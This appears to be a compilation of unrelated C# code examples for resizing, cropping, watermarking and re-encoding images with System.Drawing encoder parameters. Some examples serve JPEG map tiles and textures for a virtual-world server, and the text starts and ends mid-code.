        /// ]]></summary>
        /// <example>
        /// <code><![CDATA[
        /// Rectangle cropArea = new Rectangle(0, 0, 0, 0);
        /// string finalPath = ImagingHelpers.ResizeImage("/portfolio/picture01.jpg", 80, 320, 0, "/portfolio/temp/upload.jpg", cropArea);
        /// ]]></code>
        /// </example>
        /// <param name="imageSavePath">Web-style path with filename for the final resized image.</param>
        /// <param name="quality">Quality setting from 1 to 100 (for JPEG only; 0 for other types).</param>
        /// <param name="maxWidth">How wide to make the image, constraining the aspect ratio (0 ignore this param).
        /// Only one "Max" property can be used at a time - set the other to a zero.</param>
        /// <param name="maxHeight">How tall to make the image, constraining the aspect ratio (0 ignore this param).</param>
        /// <param name="path">Web-style path to the source image file.</param>
        /// <param name="cropArea">Rectangle object (left, top, width, height) to crop image. Leave out for no cropping.</param>
        /// <returns>The web path to the saved file on success, empty string on failure.</returns>
        public static string ResizeImage(string imageSavePath, int quality, int maxWidth, int maxHeight, string path, Rectangle cropArea)
        {
            maxWidth  = System.Math.Abs(maxWidth);
            maxHeight = System.Math.Abs(maxHeight);

            if (maxWidth == 0 && maxHeight == 0)
            {
                return(string.Empty);
            }

            int intNewWidth  = 0;
            int intNewHeight = 0;

            System.Drawing.Image image;

            if (imageSavePath.Length > 2)
            {
                if (imageSavePath.Substring(1, 1) != ":" && !imageSavePath.StartsWith(@"\\"))
                {
                    imageSavePath = imageSavePath.MapPath();
                }
            }

            string newPath = path;

            if (newPath.Length > 2)
            {
                if (newPath.Substring(1, 1) != ":" && !newPath.StartsWith(@"\\"))
                {
                    newPath = newPath.MapPath();
                }
            }

            try
            {
                if (cropArea.Top == 0 && cropArea.Bottom == 0 && cropArea.Width == 0 && cropArea.Height == 0)
                {
                    image = System.Drawing.Image.FromFile(newPath);
                }
                else
                {
                    image = CropImage(path, cropArea.Width, cropArea.Height, cropArea.Left, cropArea.Top);
                }

                int intOldWidth  = image.Width;
                int intOldHeight = image.Height;

                if (maxWidth > 0)
                {
                    if (intOldWidth != maxWidth)
                    {
                        //set new width and height
                        double dblCoef = (double)maxWidth / (double)intOldWidth;

                        intNewWidth  = Convert.ToInt32(dblCoef * intOldWidth);
                        intNewHeight = Convert.ToInt32(dblCoef * intOldHeight);
                    }
                    else
                    {
                        intNewWidth  = intOldWidth;
                        intNewHeight = intOldHeight;
                    }
                }

                if (maxHeight > 0)
                {
                    if (intOldHeight != maxHeight)
                    {
                        //set new width and height
                        double dblCoef = (double)maxHeight / (double)intOldHeight;

                        intNewWidth  = Convert.ToInt32(dblCoef * intOldWidth);
                        intNewHeight = Convert.ToInt32(dblCoef * intOldHeight);
                    }

                    else
                    {
                        intNewWidth  = intOldWidth;
                        intNewHeight = intOldHeight;
                    }
                }

                System.Drawing.Image    thumbnail = new Bitmap(intNewWidth, intNewHeight, PixelFormat.Format32bppPArgb);
                System.Drawing.Graphics graphic   = System.Drawing.Graphics.FromImage(thumbnail);

                graphic.CompositingMode    = System.Drawing.Drawing2D.CompositingMode.SourceOver;
                graphic.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighQuality;
                graphic.InterpolationMode  = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
                graphic.SmoothingMode      = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
                graphic.PixelOffsetMode    = System.Drawing.Drawing2D.PixelOffsetMode.HighQuality;
                graphic.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighQuality;
                graphic.DrawImage(image, 0, 0, thumbnail.Width, thumbnail.Height);

                ImageCodecInfo[] info = ImageCodecInfo.GetImageEncoders();

                int encoder = 1;

                switch (imageSavePath.Right(4).ToLower())
                {
                case ".bmp": encoder = 0; break;

                case ".jpg": encoder = 1; break;

                case ".gif": encoder = 2; break;

                case ".tif": encoder = 3; break;

                case ".png": encoder = 4; break;
                }

                switch (imageSavePath.Right(5).ToLower())
                {
                case ".jpeg": encoder = 1; break;

                case ".tiff": encoder = 3; break;
                }

                if (encoder != 1)
                {
                    quality = 100;
                }

                EncoderParameters encoderParameters;
                encoderParameters          = new EncoderParameters(1);
                encoderParameters.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)quality);

                thumbnail.Save(imageSavePath, info[encoder], encoderParameters);

                image.Dispose();
                thumbnail.Dispose();
                graphic.Dispose();
                encoderParameters.Dispose();

                return(imageSavePath);
            }

            catch (Exception e)
            {
                return(e.ToString());
            }
        }
示例#13
0
        public override async Task Action()
        {
            CancelTokenSource = new CancellationTokenSource();

            Progress("[图片裁剪器]开始处理...");

            TaskSupervisor.Add(Task.Factory.StartNew(() =>
            {
                try
                {
                    while (!CancelTokenSource.IsCancellationRequested)
                    {
                        TaskSupervisor.DisposeInvalidTask();
                        if (CuttingSettingQueue.Count < 1)
                        {
                            Task.Delay(1000);
                            continue;
                        }

                        CuttingSettingQueue.TryDequeue(out var waitProcessImg);

                        if (!CancelTokenSource.IsCancellationRequested)
                        {
                            if (!TaskSupervisor.Add(new Task(new Action <object>(x =>
                            {
                                if (!CancelTokenSource.IsCancellationRequested)
                                {
                                    var cutterSetting = x as CutterSetting;

                                    if (!CancelTokenSource.IsCancellationRequested)
                                    {
                                        Progress($"[图片裁剪器]正在裁剪图片:{cutterSetting.ImgPath}");

                                        var savePath = cutterSetting.SavePath;
                                        var imgExtensionName = Path.GetExtension(cutterSetting.ImgPath);
                                        if (string.IsNullOrEmpty(savePath))
                                        {
                                            savePath = cutterSetting.ImgPath;
                                        }
                                        if (cutterSetting.ImgPath != savePath)
                                        {
                                            savePath = cutterSetting.ImgPath.Replace(cutterSetting.RootPath, savePath);
                                        }


                                        try
                                        {
                                            #region 裁剪
                                            var cutImg = ImgHelper.CutImg(cutterSetting.ImgPath, cutterSetting.CutWidth, cutterSetting.CutHeight);
                                            #endregion

                                            #region 加水印
                                            if (cutterSetting.IsSetWatermark)
                                            {
                                                switch (cutterSetting.WatermarkType)
                                                {
                                                case WatermarkTypeEnum.Image:
                                                    try
                                                    {
                                                        var watermarkImg = Image.FromFile(cutterSetting.WatermarkTextOrPath);
                                                        if (watermarkImg != null)
                                                        {
                                                            cutImg = Image.FromStream(WaterMarkHelper.AddWatermark(cutImg, imgExtensionName, watermarkImg, cutterSetting.WatermarkPosition));
                                                        }
                                                    }
                                                    catch (Exception ex)
                                                    {
                                                        Progress($"[图片裁剪器]发生异常:{ex}");
                                                    }

                                                    break;

                                                case WatermarkTypeEnum.Text:
                                                    cutImg = Image.FromStream(WaterMarkHelper.AddWatermark(cutImg, imgExtensionName, cutterSetting.WatermarkTextOrPath, Color.Black, cutterSetting.WatermarkPosition));
                                                    break;

                                                default:
                                                    break;
                                                }
                                            }
                                            #endregion

                                            if (cutImg != null)
                                            {
                                                switch (imgExtensionName)
                                                {
                                                case ".jpg":
                                                    ImageCodecInfo ici = ImgHelper.GetEncoderInfo("image/jpeg");
                                                    if (ici != null)
                                                    {
                                                        EncoderParameters ep = new EncoderParameters(1);
                                                        ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)100);

                                                        cutImg.Save(savePath, ici, ep);
                                                        ep.Dispose();
                                                        ep = null;
                                                        ici = null;
                                                    }
                                                    else
                                                    {
                                                        cutImg.Save(savePath, ImageFormat.Jpeg);
                                                    }
                                                    break;

                                                case ".bmp":
                                                    cutImg.Save(savePath, ImageFormat.Bmp);
                                                    break;

                                                case ".gif":
                                                    cutImg.Save(savePath, ImageFormat.Gif);
                                                    break;

                                                case ".png":
                                                    cutImg.Save(savePath, ImageFormat.Png);
                                                    break;

                                                default:
                                                    cutImg.Save(savePath, ImageFormat.Jpeg);
                                                    break;
                                                }

                                                CutterProgress(TotalCount - CuttingSettingQueue.Count);
                                            }
                                            else
                                            {
                                                Progress($"[图片裁剪器][{cutterSetting.ImgPath}]裁剪时发生未知错误,未能实施裁剪");
                                                CuttingSettingQueue.Enqueue(cutterSetting);
                                            }

                                            cutImg.Dispose();
                                        }
                                        catch (Exception ex)
                                        {
                                            Progress($"[图片裁剪器]发生异常:{ex}");
                                        }
                                    }
                                }
                                else
                                {
                                    Thread.CurrentThread.Abort();
                                }
                            }), waitProcessImg, CancelTokenSource.Token)))
                            {
                                CuttingSettingQueue.Enqueue(waitProcessImg);
                            }
                        }
                        else
                        {
                            Thread.CurrentThread.Abort();
                        }

                        TaskSupervisor.DisposeInvalidTask();
                    }
                }
                catch (Exception ex)
                {
                    Progress($"[图片裁剪器]发生异常:{ex}");
                }
            }, CancelTokenSource.Token));
        }
示例#14
0
        void SaveImage(Bitmap image)
        {
            fileCount  = Directory.GetFiles(OutputFolder, "*.png", SearchOption.TopDirectoryOnly).Length;
            fileCount += Directory.GetFiles(OutputFolder, "*.jpg", SearchOption.TopDirectoryOnly).Length;
            string path;

            while (Directory.GetFiles(OutputFolder, GetScreenshotFileName() + ".*").Length > 0)
            {
                fileCount++;
            }                                                                                                    //if we already have a screenshot of this name, increase index

            System.Drawing.Imaging.Encoder newEncoder = System.Drawing.Imaging.Encoder.Quality;
            ImageCodecInfo    jpgEncoder = GetEncoder(ImageFormat.Jpeg);
            EncoderParameters encParams  = new EncoderParameters();
            EncoderParameter  Quality;

            switch (ImageFileFormat)
            {
            case FILE_FORMAT_PNG:
                path = GetScreenshotFilePath() + ".png";
                image.Save(path, ImageFormat.Png);
                break;

            case FILE_FORMAT_SMART:
                MemoryStream pngStream = new MemoryStream();

                Quality            = new EncoderParameter(newEncoder, 100L);
                encParams.Param[0] = Quality;
                image.Save(Application.LocalUserAppDataPath + @"\tempCapture.jpg", jpgEncoder, encParams);
                FileStream jpgStream = File.Open(Application.LocalUserAppDataPath + @"\tempCapture.jpg", FileMode.Open);


                image.Save(pngStream, ImageFormat.Png);

                if (pngStream.Length <= jpgStream.Length)
                {
                    path = GetScreenshotFilePath() + ".png";
                    image.Save(path, ImageFormat.Png);
                }
                else
                {
                    path = GetScreenshotFilePath() + ".jpg";
                    image.Save(path, jpgEncoder, encParams);
                }

                jpgStream.Dispose();
                pngStream.Dispose();

                try
                {
                    File.Delete(Application.LocalUserAppDataPath + @"\tempCapture.jpg");
                }
                catch
                {
                    //don't tell mum
                }
                break;

            case FILE_FORMAT_JPG:
                Quality            = new EncoderParameter(newEncoder, (int)trackBarJPGQuality.Value);
                encParams.Param[0] = Quality;
                path = GetScreenshotFilePath() + ".jpg";
                image.Save(path, jpgEncoder, encParams);
                break;

            default: break;
            }
            encParams.Dispose();
            Quality    = null;
            jpgEncoder = null;
            newEncoder = null;
        }
示例#15
0
        public void ProcessRequest(HttpContext context)
        {
            HttpRequest       Request  = context.Request;
            HttpResponse      Response = context.Response;
            HttpServerUtility Server   = context.Server;

            String data = String.Empty;

            using (StreamReader sr = new StreamReader(Request.InputStream))
            {
                data = sr.ReadToEnd();
            }
            KropprParameter k = JsonConvert.DeserializeObject <KropprParameter>(data);

            KropprResult result = new KropprResult()
            {
                type  = "jpg",
                image = k.image.LocalPath// "/kroppr/img/" + Guid.NewGuid().ToString() + ".jpg"
            };

            Int32        zoomWidth  = (Int32)(k.original.w * k.xfact);
            Int32        zoomHeight = (Int32)(k.original.h * k.xfact);
            GraphicsPath p          = new GraphicsPath();

            p.AddRectangle(new RectangleF(0, 0, zoomWidth, zoomHeight));
            Matrix m = new Matrix();

            m.Rotate(k.rotation % 360);
            RectangleF rct = p.GetBounds(m);

            m.Dispose();
            p.Dispose();

            Bitmap initimg = new Bitmap(Server.MapPath(k.image.LocalPath));
            Bitmap zoomimg = new Bitmap(zoomWidth, zoomHeight);

            using (Graphics g = Graphics.FromImage(zoomimg))
            {
                g.SmoothingMode      = SmoothingMode.HighQuality;
                g.InterpolationMode  = InterpolationMode.High;
                g.PixelOffsetMode    = PixelOffsetMode.HighQuality;
                g.CompositingQuality = CompositingQuality.HighQuality;
                g.DrawImage(initimg, new Rectangle(0, 0, zoomWidth, zoomHeight), new Rectangle(0, 0, initimg.Width, initimg.Height), GraphicsUnit.Pixel);
            }

            Bitmap angleimg = new Bitmap((Int32)rct.Width, (Int32)rct.Height);

            using (Graphics g = Graphics.FromImage(angleimg))
            {
                g.SmoothingMode      = SmoothingMode.HighQuality;
                g.InterpolationMode  = InterpolationMode.High;
                g.PixelOffsetMode    = PixelOffsetMode.HighQuality;
                g.CompositingQuality = CompositingQuality.HighQuality;
                g.TranslateTransform(-rct.X, -rct.Y);
                g.RotateTransform(k.rotation % 360);
                g.DrawImage(zoomimg, 0, 0);
            }
            initimg.Dispose();

            Bitmap Canvas = new Bitmap(k.original.w, k.original.h);

            using (Graphics g = Graphics.FromImage(Canvas))
            {
                g.SmoothingMode      = SmoothingMode.HighQuality;
                g.InterpolationMode  = InterpolationMode.High;
                g.PixelOffsetMode    = PixelOffsetMode.HighQuality;
                g.CompositingQuality = CompositingQuality.HighQuality;
                g.DrawImageUnscaled(angleimg, (Int32)k.offset.x - (angleimg.Width - zoomWidth) / 2, (Int32)k.offset.y - (angleimg.Height - zoomHeight) / 2);
            }

            Bitmap Thumb = new Bitmap(k.cropper.width, k.cropper.height);

            using (Graphics g = Graphics.FromImage(Thumb))
            {
                g.SmoothingMode      = SmoothingMode.HighQuality;
                g.InterpolationMode  = InterpolationMode.High;
                g.PixelOffsetMode    = PixelOffsetMode.HighQuality;
                g.CompositingQuality = CompositingQuality.HighQuality;
                g.DrawImage(Canvas, -k.cropper.left, -k.cropper.top);
            }

            ImageCodecInfo    Jpeg = ImageCodecInfo.GetImageEncoders().First(a => { return(a.MimeType == "image/jpeg"); });
            EncoderParameters ep   = new EncoderParameters(1);

            ep.Param[0] = new EncoderParameter(Encoder.Quality, k.quality);

            Thumb.Save(Server.MapPath(result.image), Jpeg, ep);

            ep.Dispose();

            zoomimg.Dispose();
            angleimg.Dispose();
            Canvas.Dispose();
            Thumb.Dispose();

            result.status        = true;
            Response.ContentType = "application/json";
            Response.Write(JsonConvert.SerializeObject(result));
        }
示例#16
0
        ///------------------------------------------------------------------------------
        /// <summary>
        ///     マルチフレームの画像ファイルを頁ごとに分割する:OpenCVバージョン</summary>
        /// <param name="InPath">
        ///     画像ファイル入力パス</param>
        /// <param name="outPath">
        ///     分割後出力パス</param>
        /// <returns>
        ///     true:分割を実施, false:分割ファイルなし</returns>
        ///------------------------------------------------------------------------------
        private bool MultiTif_New(string InPath, string outPath)
        {
            //スキャン出力画像を確認
            if (System.IO.Directory.GetFiles(InPath, "*.tif").Count() == 0)
            {
                MessageBox.Show("OCR変換処理対象の画像ファイルが指定フォルダ " + InPath + " に存在しません", "スキャン画像確認", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                return(false);
            }

            // 出力先フォルダがなければ作成する
            if (System.IO.Directory.Exists(outPath) == false)
            {
                System.IO.Directory.CreateDirectory(outPath);
            }

            // 出力先フォルダ内の全てのファイルを削除する(通常ファイルは存在しないが例外処理などで残ってしまった場合に備えて念のため)
            foreach (string files in System.IO.Directory.GetFiles(outPath, "*"))
            {
                System.IO.File.Delete(files);
            }

            int    _pageCount = 0;
            string fnm        = string.Empty;

            // マルチTIFを分解して画像ファイルをTRAYフォルダへ保存する
            foreach (string files in System.IO.Directory.GetFiles(InPath, "*.tif"))
            {
                //TIFFのImageCodecInfoを取得する
                ImageCodecInfo ici = GetEncoderInfo("image/tiff");

                if (ici == null)
                {
                    return(false);
                }

                using (FileStream tifFS = new FileStream(files, FileMode.Open, FileAccess.Read))
                {
                    Image gim = Image.FromStream(tifFS);

                    FrameDimension gfd = new FrameDimension(gim.FrameDimensionsList[0]);

                    //全体のページ数を得る
                    int pageCount = gim.GetFrameCount(gfd);

                    for (int i = 0; i < pageCount; i++)
                    {
                        gim.SelectActiveFrame(gfd, i);

                        // ファイル名(日付時間部分)
                        string fName = string.Format("{0:0000}", DateTime.Today.Year) + string.Format("{0:00}", DateTime.Today.Month) +
                                       string.Format("{0:00}", DateTime.Today.Day) + string.Format("{0:00}", DateTime.Now.Hour) +
                                       string.Format("{0:00}", DateTime.Now.Minute) + string.Format("{0:00}", DateTime.Now.Second);

                        _pageCount++;

                        // ファイル名設定
                        fnm = outPath + fName + string.Format("{0:000}", _pageCount) + ".tif";

                        EncoderParameters ep = null;

                        // 圧縮方法を指定する
                        ep          = new EncoderParameters(1);
                        ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionCCITT4);

                        // 画像保存
                        gim.Save(fnm, ici, ep);
                        ep.Dispose();
                    }
                }
            }

            // InPathフォルダの全てのtifファイルを削除する
            foreach (var files in System.IO.Directory.GetFiles(InPath, "*.tif"))
            {
                System.IO.File.Delete(files);
            }

            return(true);
        }
示例#17
0
        public bool Resize(int Width, int Height, string Destination, long Compression = 50L)
        {
            Image             image    = null;
            Bitmap            bitmap   = null;
            Graphics          graphics = null;
            EncoderParameters encoder  = null;
            FileStream        stream   = null;

            bool success = false;

            try
            {
                stream = new FileStream(MapPath(FilePath), FileMode.Open);
                image  = Image.FromStream(stream, false, false);
                if (image == null)
                {
                    return(false);
                }

                var imageWidth  = Width;
                var imageHeight = (int)(((double)imageWidth / (double)image.Width) * image.Height);
                if (imageHeight > Height)
                {
                    imageHeight = Height;
                    imageWidth  = (int)(((double)imageHeight / (double)image.Height) * image.Width);
                }

                var offsetX = (imageWidth - Width) / 2;
                var offsetY = (imageHeight - Height) / 2;

                var attributes = new ImageAttributes();
                attributes.SetWrapMode(WrapMode.TileFlipXY);
                bitmap   = new Bitmap(imageWidth, imageHeight);
                graphics = Graphics.FromImage(bitmap);
                graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
                graphics.FillRectangle(Brushes.White, 0, 0, imageWidth, imageHeight);
                graphics.DrawImage(image, new Rectangle(0, 0, imageWidth, imageHeight), 0, 0, image.Width, image.Height, GraphicsUnit.Pixel, attributes);

                encoder          = new EncoderParameters(1);
                encoder.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, Compression);
                bitmap.Save(MapPath(Destination), Codec, encoder);
                success = true;
            }
            catch
            {
                return(false);
            }
            finally
            {
                if (stream != null)
                {
                    stream.Dispose();
                }
                if (encoder != null)
                {
                    encoder.Dispose();
                }
                if (graphics != null)
                {
                    graphics.Dispose();
                }
                if (bitmap != null)
                {
                    bitmap.Dispose();
                }
                if (image != null)
                {
                    image.Dispose();
                }
            }

            return(success);
        }
示例#18
0
    /// <summary>

    /// 保存图片

    /// </summary>

    /// <param name="image">Image 对象</param>

    /// <param name="savePath">保存路径</param>

    /// <param name="ici">指定格式的编解码参数</param>

    private void SaveImage(Image image, string savePath, ImageCodecInfo ici)
    {

        //设置 原图片 对象的 EncoderParameters 对象

        var parameters = new EncoderParameters(1);

        parameters.Param[0] = new EncoderParameter(

            Encoder.Quality, ((long)90));

        image.Save(savePath, ici, parameters);

        parameters.Dispose();

    }
示例#19
0
        public byte[] MapRequest(string path, Stream request, OSHttpRequest httpRequest, OSHttpResponse httpResponse)
        {
            //Remove the /MapService/
            string uri = httpRequest.RawUrl.Remove(0, 12);

            if (!uri.StartsWith("map", StringComparison.Ordinal))
            {
                if (uri == "")
                {
                    string resp = "<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">" +
                                  "<Name>map.secondlife.com</Name>" +
                                  "<Prefix/>" +
                                  "<Marker/>" +
                                  "<MaxKeys>1000</MaxKeys>" +
                                  "<IsTruncated>true</IsTruncated>";

                    // TODO:  Why specific (was 1000)? Assumes the center of the map is here.
                    //  Should this be relative to the view?? i.e a passed map center location
                    var txSize = m_mapcenter_x * Constants.RegionSize;
                    var tySize = m_mapcenter_x * Constants.RegionSize;
                    var etSize = 8 * Constants.RegionSize;
                    List <GridRegion> regions = m_gridService.GetRegionRange(
                        null, (txSize - etSize), (txSize + etSize), (tySize - etSize), (tySize + etSize));
                    foreach (var region in regions)
                    {
                        resp += "<Contents><Key>map-1-" + region.RegionLocX / Constants.RegionSize +
                                "-" + region.RegionLocY / Constants.RegionSize +
                                "-objects.jpg</Key>" +
                                "<LastModified>2012-07-09T21:26:32.000Z</LastModified></Contents>";
                    }
                    resp += "</ListBucketResult>";
                    httpResponse.ContentType = "application/xml";
                    return(System.Text.Encoding.UTF8.GetBytes(resp));
                }
                using (MemoryStream imgstream = new MemoryStream())
                {
                    GridRegion region = m_gridService.GetRegionByName(null, uri.Remove(4));
                    if (region == null)
                    {
                        region = m_gridService.GetRegionByUUID(null, OpenMetaverse.UUID.Parse(uri.Remove(uri.Length - 4)));
                    }

                    // non-async because we know we have the asset immediately.
                    byte[] mapasset = null;
                    if (m_assetService.GetExists(region.TerrainMapImage.ToString()))
                    {
                        mapasset = m_assetService.GetData(region.TerrainMapImage.ToString());
                    }
                    if (mapasset != null)
                    {
                        try
                        {
                            Image image = m_j2kDecoder.DecodeToImage(mapasset);
                            if (image == null)
                            {
                                return(new byte[0]);
                            }
                            // Decode image to System.Drawing.Image

                            EncoderParameters myEncoderParameters = new EncoderParameters();
                            myEncoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, 95L);
                            var encInfo = GetEncoderInfo("image/jpeg");
                            if (encInfo != null)
                            {
                                // Save bitmap to stream
                                image.Save(imgstream, encInfo, myEncoderParameters);
                            }
                            image.Dispose();
                            myEncoderParameters.Dispose();

                            // Write the stream to a byte array for output
                            return(imgstream.ToArray());
                        }
                        catch { }
                    }
                }
                return(new byte[0]);
            }
            string[] splitUri = uri.Split('-');
            byte[]   jpeg     = FindCachedImage(uri);
            if (jpeg.Length != 0)
            {
                httpResponse.ContentType = "image/jpeg";
                return(jpeg);
            }
            try
            {
                int mapLayer      = int.Parse(uri.Substring(4, 1));
                int regionX       = int.Parse(splitUri[2]);
                int regionY       = int.Parse(splitUri[3]);
                int distance      = (int)Math.Pow(2, mapLayer);
                int maxRegionSize = m_gridService.GetMaxRegionSize();
                if (maxRegionSize == 0)
                {
                    maxRegionSize = Constants.MaxRegionSize;
                }
                List <GridRegion> regions = m_gridService.GetRegionRange(
                    null,
                    ((regionX) * Constants.RegionSize) - maxRegionSize,
                    ((regionX + distance) * Constants.RegionSize) + maxRegionSize,
                    ((regionY) * Constants.RegionSize) - maxRegionSize,
                    ((regionY + distance) * Constants.RegionSize) + maxRegionSize);

                Bitmap mapTexture = BuildMapTile(mapLayer, regionX, regionY, regions);
                jpeg = CacheMapTexture(mapLayer, regionX, regionY, mapTexture);
                DisposeTexture(mapTexture);
            }
            catch
            {
            }
            httpResponse.ContentType = "image/jpeg";
            return(jpeg);
        }
示例#20
0
        byte [] GridTexture(string uri)
        {
            byte [] jpeg      = new byte [0];
            var     imageUUID = uri;

            // check for bogies
            if (imageUUID == "" || imageUUID == UUID.Zero.ToString())
            {
                return(jpeg);
            }

            IAssetService m_AssetService = m_registry.RequestModuleInterface <IAssetService> ();

            using (MemoryStream imgstream = new MemoryStream()) {
                // Taking our jpeg2000 data, decoding it, then saving it to a byte array with regular jpeg data

                // non-async because we know we have the asset immediately.
                byte [] mapasset = m_AssetService.GetData(imageUUID);

                if (mapasset != null)
                {
                    // Decode image to System.Drawing.Image
                    Image        image;
                    ManagedImage managedImage;
                    var          myEncoderParameters = new EncoderParameters();
                    myEncoderParameters.Param [0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 75L);
                    if (OpenJPEG.DecodeToImage(mapasset, out managedImage, out image))
                    {
                        // Save to bitmap
                        var texture = ResizeBitmap(image, 256, 256);
                        try {
                            var encInfo = GetEncoderInfo("image/jpeg");
                            if (encInfo != null)
                            {
                                texture.Save(imgstream, encInfo, myEncoderParameters);
                            }

                            // Write the stream to a byte array for output
                            jpeg = imgstream.ToArray();
                        } catch {
                            MainConsole.Instance.Debug("[API]: GridTexture request exception");
                        }
                    }
                    myEncoderParameters.Dispose();
                    if (image != null)
                    {
                        image.Dispose();
                    }
                }
            }

            if (jpeg.Length > 0)
            {
                return(jpeg);
            }

            // no UUID here so...
            var nouuid = "html/images/icons/no_image.png";

            try {
                return(File.ReadAllBytes(nouuid));
            } catch {
                MainConsole.Instance.Debug("[API]: GridTexture fallback exception. 'no_image.jpg' does not exist?");
            }

            return(new byte [0]);
        }
示例#21
0
        private static void SaveThumb(Image image, string newFileName, ImageCodecInfo ici, EncoderParameters parameters, UpFileEntity upFileEntity)
        {
            BaseConfigInfo config   = BaseConfigs.GetConfig();
            string         fileName = Path.GetFileName(newFileName);

            if (config.DistributeFileSystem == 1 && upFileEntity.DistributeFileSystem == 1)
            {
                if (!string.IsNullOrEmpty(upFileEntity.GroupName))
                {
                    byte[] contentBytes = GetByteImage(image, ici, parameters);
                    DFSProvider.CurrentDFS.UploadSlaveFile(contentBytes, upFileEntity.Mast_File_Name, upFileEntity.Prefix_Name, upFileEntity.File_Ext.Replace(".", ""));
                }
            }
            else
            {
                if (config.FTPEnable == 1 && upFileEntity.FTPEnable == 1)
                {
                    if (FTPs.IsLocalhost(upFileEntity.FTPIdent))//区分本地或FTP
                    {
                        image.Save(newFileName, ici, parameters);
                    }
                    else
                    {
                        string fileExt = Path.GetExtension(newFileName);
                        string dir     = Path.GetDirectoryName(config.FTPTempPath + GetFtpPath("", fileExt, config.FTPPathFormat, upFileEntity));
                        if (!Directory.Exists(dir))
                        {
                            Directory.CreateDirectory(dir);
                        }
                        string savePath = dir + "/" + fileName;
                        System.Diagnostics.Stopwatch stopwatch = new System.Diagnostics.Stopwatch();
                        stopwatch.Start();

                        image.Save(savePath, ici, parameters);                                                              //存入临时文件夹
                        FTPs.UpLoadFile(Path.GetDirectoryName(newFileName), savePath, upFileEntity, upFileEntity.FTPIdent); //-FTP不需要传入文件名
                        stopwatch.Stop();
                        long minsecond = stopwatch.ElapsedMilliseconds;
                    }
                }
                else
                {
                    image.Save(newFileName, ici, parameters);
                }
            }
            image.Dispose();
            parameters.Dispose();
            #region 写入备份记录-通过接口
            if (upFileEntity.AttachID > 0)
            {
                fileName = fileName.ToLower().Replace(upFileEntity.File_Ext.ToLower(), "");
                string[] fileNameArr = fileName.Split('!');
                string[] sites;
                if (fileNameArr.Length > 1)
                {
                    sites = fileNameArr[1].Split('_');
                }
                else
                {
                    sites = fileName.Split('_');
                }
                if (sites.Length == 3)
                {
                    if (!string.IsNullOrEmpty(config.BakClassName))
                    {
                        UploadBakProvider.GetInstance(config.BakClassName).Update(upFileEntity.AttachID, sites[1] + "_" + sites[2]);
                    }
                }
            }
            #endregion
        }
        public byte [] OnHTTPGetTextureImage(string path, Stream request, OSHttpRequest httpRequest, OSHttpResponse httpResponse)
        {
            byte [] jpeg = new byte [0];
            httpResponse.ContentType = "image/jpeg";
            var imageUUID = httpRequest.QueryString ["uuid"];

            // check for bogies
            if (imageUUID == UUID.Zero.ToString())
            {
                return(jpeg);
            }

            IAssetService m_AssetService = _registry.RequestModuleInterface <IAssetService> ();

            using (MemoryStream imgstream = new MemoryStream()) {
                // Taking our jpeg2000 data, decoding it, then saving it to a byte array with regular jpeg data

                // non-async because we know we have the asset immediately.
                byte [] mapasset = m_AssetService.GetData(httpRequest.QueryString ["uuid"]);

                if (mapasset != null)
                {
                    // Decode image to System.Drawing.Image
                    Image             image;
                    ManagedImage      managedImage;
                    EncoderParameters myEncoderParameters = new EncoderParameters();
                    myEncoderParameters.Param [0] = new EncoderParameter(Encoder.Quality, 75L);

                    if (OpenJPEG.DecodeToImage(mapasset, out managedImage, out image))
                    {
                        // Save to bitmap
                        var texture = ResizeBitmap(image, 256, 256);
                        try {
                            var encInfo = GetEncoderInfo("image/jpeg");
                            if (encInfo != null)
                            {
                                texture.Save(imgstream, encInfo, myEncoderParameters);
                            }

                            // Write the stream to a byte array for output
                            jpeg = imgstream.ToArray();
                        } catch {
                        }
                    }

                    myEncoderParameters.Dispose();

                    if (image != null)
                    {
                        image.Dispose();
                    }
                }
            }

            if (jpeg.Length > 0)
            {
                return(jpeg);
            }

            // no UUID here so...
            string nouuid = "html/images/icons/no_image.png";

            try {
                return(File.ReadAllBytes(nouuid));
            } catch {
            }

            return(new byte [0]);
        }
示例#23
0
    public void SaveImage(ImageEventArgs e)
    {
        ImageCodecInfo myImageCodecInfo;
        Encoder myEncoder;
        EncoderParameter myEncoderParameter;
        EncoderParameters myEncoderParameters;

        myImageCodecInfo = GetEncoderInfo(EncoderType);
        myEncoder = Encoder.Quality;
        myEncoderParameters = new EncoderParameters(1);
        myEncoderParameter = new EncoderParameter(myEncoder, imageQuality);
        myEncoderParameters.Param[0] = myEncoderParameter;

        try
        {
            string finalFile = System.IO.Path.Combine(e.FullSaveLocation, e.FullFileName) + "." + e.Extension;

            e.CapturedImage.Save(finalFile,
                                myImageCodecInfo, myEncoderParameters);

            //  e.CapturedImage.Save(finalFile);
            // e.CapturedImage.Save("c:\\users\\affan\\desktop\\jjajja.jpeg");
            ShowToastForm(finalFile);
            //this.Invoke(new ShowToastFormInvoker(ShowToastForm), e.FullSaveLocation + ".jpg");
        }
        catch(ArgumentException ex)
        {
            Console.WriteLine(ex.Message);
        }
        finally
        {
            myEncoderParameters.Dispose();
            myEncoderParameter.Dispose();
        }
    }
示例#24
0
        private void bt_start_Click(object sender, EventArgs e)
        {
            imgs             = new List <img>();
            bt_start.Enabled = false;
            var fp = lb_outdir.Text + "\\tiles";

            if (!Directory.Exists(fp))
            {
                Directory.CreateDirectory(fp);
            }

            var ed  = Encoder.Quality;
            var eps = new EncoderParameters(1);

            eps.Param[0] = new EncoderParameter(ed, tb_setquality.Value);
            var ftype = cb_filetype.SelectedItem.ToString().ToLower();
            var fname = tb_filename.Text;
            var fpre  = tb_lfpre.Text;

            new Thread(p =>
            {
                //foreach (var t in tns)
                //{
                var t   = tns[0];
                var img = (t.data as Interop.MapWinGIS.Image);
                var pic = Image.FromFile(img.Filename);

                var lv   = maxlev;
                var demo = cb_demo.Checked;

